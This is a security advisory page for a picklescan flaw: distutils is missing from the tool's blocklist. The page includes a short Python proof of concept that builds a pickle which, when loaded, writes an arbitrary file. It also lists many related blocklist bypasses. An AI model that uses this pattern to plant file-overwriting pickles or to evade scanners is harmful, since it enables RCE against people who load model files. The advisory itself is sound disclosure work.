Sign in
Deutsch English Español Polski
High

Picklescan vulnerable to Arbitrary File Writing

  • Disclosed: 29.12.2025
  • Updated: 11.10.2026 13:19

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

python
import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")
<img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" />

To fix this just add disutil to the blacklist

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.33 0.0.33

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-502, CWE-552
Platform
Python (PyPI)
Package
picklescan
Disclosed
29.12.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1791 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m273-6v24-x4m4 - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

Severity:
  1. PickleScan has multiple stdlib modules with direct RCE not in blocklist
    Critical · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. PickleScan's pkgutil.resolve_name has a universal blocklist bypass
    Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass
    Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
    High CVE-2026-53875 < 1.0.3 1.0.3
  5. picklescan missing detection by simple obfuscation of a `builtins.eval` call
    High CVE-2026-53874 < 1.0.1 1.0.1
  6. picklescan has Arbitrary file read using `io.FileIO`
    High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  7. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
    High CVE-2025-71367 < 0.0.34 0.0.34
  8. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
    High CVE-2025-71375 < 0.0.34 0.0.34
  9. Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71372 < 0.0.33 0.0.33
  10. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
    High · 8.1 CVE-2025-71365 < 0.0.33 0.0.33
  11. Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
    High CVE-2025-71373 < 0.0.33 0.0.33
  12. Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71362 < 0.0.33 0.0.33
  13. Picklescan Bypasses Unsafe Globals Check using pty.spawn
    High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  14. Picklescan missing detection when calling pty.spawn
    High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  15. Picklescan has Incomplete List of Disallowed Inputs
    High CVE-2025-71320 < 0.0.33 0.0.33
  16. Picklescan does not block ctypes
    High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  17. Picklescan vulnerable to Arbitrary File Writing this entry
    High CVE-2025-71321 < 0.0.33 0.0.33
  18. Picklescan Bypass is Possible via File Extension Mismatch
    Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  19. Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
    Critical · 7.5 CVE-2025-10156 < 0.0.31 0.0.31
  20. Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
    Critical · 8.3 CVE-2025-10157 < 0.0.31 0.0.31
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.